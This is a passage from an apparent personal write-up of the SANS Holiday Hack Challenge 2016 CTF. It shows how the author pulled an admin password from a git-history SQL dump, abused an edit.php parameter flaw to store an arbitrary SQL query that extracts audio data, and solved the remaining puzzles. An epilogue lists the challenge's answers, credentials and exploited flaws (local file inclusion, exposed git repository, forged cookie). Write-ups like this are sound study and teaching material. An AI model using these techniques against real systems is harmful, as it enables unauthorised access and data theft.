commit 62547860f9a6e0f3a3bdfd3f9b14fea3ac7f7c31 Author: me <me@example.org> Date: Mon Nov 21 21:15:08 2016 -0800 Fix database dump
Let's see the different modifications made on sprusage.sql
:
$ git log -p -- ./sprusage.sql
[...]
commit 62547860f9a6e0f3a3bdfd3f9b14fea3ac7f7c31
Author: me <me@example.org>
Date: Mon Nov 21 21:15:08 2016 -0800
Fix database dump
diff --git a/sprusage.sql b/sprusage.sql
index a382229..b948dd0 100644
--- a/sprusage.sql
+++ b/sprusage.sql
[...]
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
-INSERT INTO `users` VALUES (0,'administrator','KeepWatchingTheSkies'),(1,'guest','busyllama67');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
We can see that administrator
's password is
KeepWatchingTheSkies
. With these credentials, we have another method
of authenticating as administrator
.
Anyway, we now have access to the edit.php
page. This means that we can
edit past saved queries. However, we can only modify the name or the
description of the query, as shown on the screenshot above. Let's see this
functionality in action:
Hmm, we can see that the page checks for the presence of some parameters:
name
, description
... and query
! Let's take a look at
the edit.php
file:
<?php
}
else
{
$result = mysqli_query($db, "SELECT * FROM `reports` WHERE `id`='" . mysqli_real_escape_string($db, $_GET['id']) . "' LIMIT 0, 1");
if(!$result) {
reply(500, "MySQL Error: " . mysqli_error($db));
die();
}
$row = mysqli_fetch_assoc($result);
# Update the row with the new values
$set = [];
foreach($row as $name => $value) {
print "Checking for " . htmlentities($name) . "...<br>";
if(isset($_GET[$name])) {
print 'Yup!<br>';
$set[] = "`$name`='" . mysqli_real_escape_string($db, $_GET[$name]) . "'";
}
}
We can see that the edit.php
page checks for the presence of every
columns of the reports
table in the GET
parameters. This means
that if we specify a query
GET
parameter, we can modify the
stored SQL query of a specific request!
By looking the SQL schema file, sprusage.sql
, we can see the format
of the audio
table, containing the coveted audio file. We can now
create our fake query:
SELECT filename,HEX(mp3) FROM audio WHERE username='administrator'
We can now store our malevolent query, and execute it:
We can now recover our hex-encoded audio file, decode it, and get the last
audio file, discombobulatedaudio7.mp3
.
Part 5: Discombobulated Audio
Now that we've hacked the SantaGram infrastructure, we have our weird audio files. You can download them here:
- discombobulatedaudio1.mp3 (sha256:
8e759e28702e15720ff357694b1f8c9062680da933df5c9bdd16897bfcd00f01
) - discombobulatedaudio2.mp3 (sha256:
e0050656c5262116f82cbe82c85d0b91f9003f22568bee7f4ce7987744c34f99
) - discombobulatedaudio3.mp3 (sha256:
7c4a50771764b97227d27aa9dd0a99f396982882111a4924c0b51ee625251ac7
) - debug-20161224235959-0.mp3 (sha256:
35f5578bc12f096f4072e1dde2688b15145ba59bc48e9cb405576247c7e5a8bb
) - discombobulatedaudio5.mp3 (sha256:
c088b01e3accc21eda910f25755ebe2ccda3959e4810ce76cdd8cde8ff07651e
) - discombobulated-audio-6-XyzE3N9YqKNH.mp3 (sha256:
776b26a58310d9ad80ab7b5c80fe4a5e03ed86210d9e28906fb93e30004ef35a
) - discombobulatedaudio7.mp3 (sha256:
60259f117d76535518dc2b3f01ae314f0969d61ae7066e75af708be7b059f214
)
At first, I suspected that, since all the files are approximately the same length, you had to superimpose every one of them, or something, which led to this horrendous result:
You can download the audio file here (sha256: c195d43e6445c84686a1bd4e89429db0f2802e8d8ae31e93769490d1204e098c
)
The solution is actually quite simpler. You just have to put the audio files in the order we found them, then change the tempo of the audio track, to get something intelligible:
You can download the audio file here (sha256: 20e91d466c4cea4e1282e32dfc52725eadff05276d91bcc9fbd547c09bf2964a
)
If you can't quite hear the spoken phrase, it's:
Father Christmas, Santa Claus or, as I've always known him, Jeff.
Now, I didn't recognize the reference right away, but if you DuckDuckgo the sentence (or part of it if you only got some audio files), you find that it's from a Doctor Who Christmas Special, A Christmas Carol. Now, I DID see this Doctor Who, but failed to remember the reference, so I'm still ashamed of this.
Anyway, if you remember, there was still one door in the North Pole we couldn't open: the door in the Corridor. Since the audio pointed to Doctor Who, I tried every element of the show I could think of ("The Doctor", "Amy Pond", "The Master", "Tardis", "tardis", "TARDIS", "Geronimo", "Geronimo!", "Geronimo!!!", ...). Turns out, the passphrase to the door was just the full sentence we hear in the audio file. Trying too hard leads nowhere.
Now that we've opened the door, we can see Who is behind this nefarious plot (see what I did there?).
It was the Doctor all along! If we talk to him, he explains his plan:
The question of the hour is this: Who nabbed Santa. The answer? Yes, I did. Next question: Why would anyone in his right mind kidnap Santa Claus? The answer: Do I look like I'm in my right mind? I'm a madman with a box. I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It's a better life, I tell you, a better world than the scarred one we endure here. Give me a world like that. Just once. So I did what I had to do. I knew that Santa's powerful North Pole Wonderland Magick could prevent the Star Wars Special from being released, if I could leverage that magick with my own abilities back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain the integrity of the universe’s timeline. So I had no choice – I had to kidnap him. It was sort of one of those days. Well. You know what I mean. Anyway... Since you interfered with my plan, we'll have to live with the Star Wars Holiday Special in this universe... FOREVER. If we attempt to go back again, to cross our own timeline, we'll cause a temporal paradox, a wound in time. We'll never be rid of it now. The Star Wars Holiday Special will plague this world until time itself ends... All because you foiled my brilliant plan. Nice work.
Now, although I'm a major Star Wars fan, I've always decided to listen to the advice of my elders regarding the Christmas Special (shout out to Randal Munroe), and I've never watched it. Guess I'll continue to refrain from watching it. Brrrr...
Epilogue: Bringing It All Home
As the title suggests, it's time to bring it home, and answer each question of the challenge:
- What is the secret message in Santa's tweets?
The secret message in Santa's tweets is bugbounty
.
- What is inside the ZIP file distributed by Santa's team?
Inside the ZIP file distributed by Santa's team, there is a copy of the Android application for their bug bounty, SantaGram_4.2.apk.
- What username and password are embedded in the APK file?
The credentials in the APK file are guest/busyreindeer78
.
- What is the name of the audible component (audio file. in the SantaGram APK file?
The name of the audio file in the SantaGram APK file is
discombobulatedaudio1.mp3
.
- What is the password for the "cranpi" account on the Cranberry Pi system?
The password of the "cranpi" account is yummycookies
.
- How did you open each terminal door and where had the villain imprisoned Santa?
- Elf House #2: using
sudo
to execute commands asitchy
, we can read the PCAP file, containing the two halves of the passphrase, one encoded in plain 7-bit ASCII, one encoded in 16-bit big endian. - Workshop, first door: using
find
, we can find the file containing the passphrase, and print its content. - Santa's office: using our *cough cough* knowledge of the film WarGames, we can get the correct passphrase.
- Workshop, second door: by analyzing the
wumpus
program, we can find the function in charge of computing the passphrase, and directly call it. - Train station: since the
HELP
function usesless
to print the content of the help file, we can useless
's features to open other files, including the one containing the passphrase.
The villain had imprisoned Santa Claus in the DFER room, in 1978.
- For each of those six items, which vulnerabilities did you discover and exploit?
- The Mobile Analytics Server (via credentialed login access):
- Credentials stored in plaintext in the SantaGram APK.
- Use of these credentials on the analytics server.
- The Dungeon Game
- Finding of the Dungeon CLI with
nmap
. - Using our *cough cough* knowledge of the video game Zork to get the email address of Peppermint.
- Sending an email to Peppermint to receive the audio file.
- Finding of the Dungeon CLI with
- The Debug Server:
- Patching of the SantaGram APK to enable debug data.
- JSON request tampering to increase verbosity of the debug server.
- Disclosing of the path of the audio file in the response of the debug server.
- The Banner Ad Server:
- Using Meteor Miner, we could list the different routes.
- Disclosing of the
/admin/quotes
route. - Using Meteor Miner, we could list the collection of quotes.
- Disclosing of the path of the audio file in the attributes of one of the quotes.
- The Uncaught Exception Handler Server:
- Verbose error allowing to build a correct
ReadCrashDump
request. - Local File Inclusion in the
exception.php
page.
- Verbose error allowing to build a correct
- The Mobile Analytics Server (post authentication):
- Source files recovery with open Git repository.
- Creation of an administrator cookie.
- Exploitation of the
edit.php
page to store an arbitrary SQL query.
- What are the names of the audio files you discovered from each system above?
- The Mobile Analytics Server (via credentialed login access):
discombobulatedaudio2.mp3
- The Dungeon Game:
discombobulatedaudio3.mp3
- The Debug Server:
debug-20161224235959-0.mp3
- The Banner Ad Server:
discombobulatedaudio5.mp3
- The Uncaught Exception Handler Server:
discombobulated-audio-6-XyzE3N9YqKNH.mp3
- The Mobile Analytics Server (post authentication):
discombobulatedaudio7.mp3
- Who is the villain behind the nefarious plot?
The villain behind the nefarious plot is the Doctor.
- Why had the villain abducted Santa?
The Doctor had abducted Santa to use his magick to prevent the Star Wars Christmas special from ever coming out.
Conclusion
Once again, a great challenge by the SANS, which I managed, this time, to finish completely! I also noticed that I didn't improve my skills in reverse engineering and binary analysis, which is a skill I wanted to improve, as said in last year's write-up. Bad me...
Anyway, see you next year for the next SANS Christmas Challenge ;) !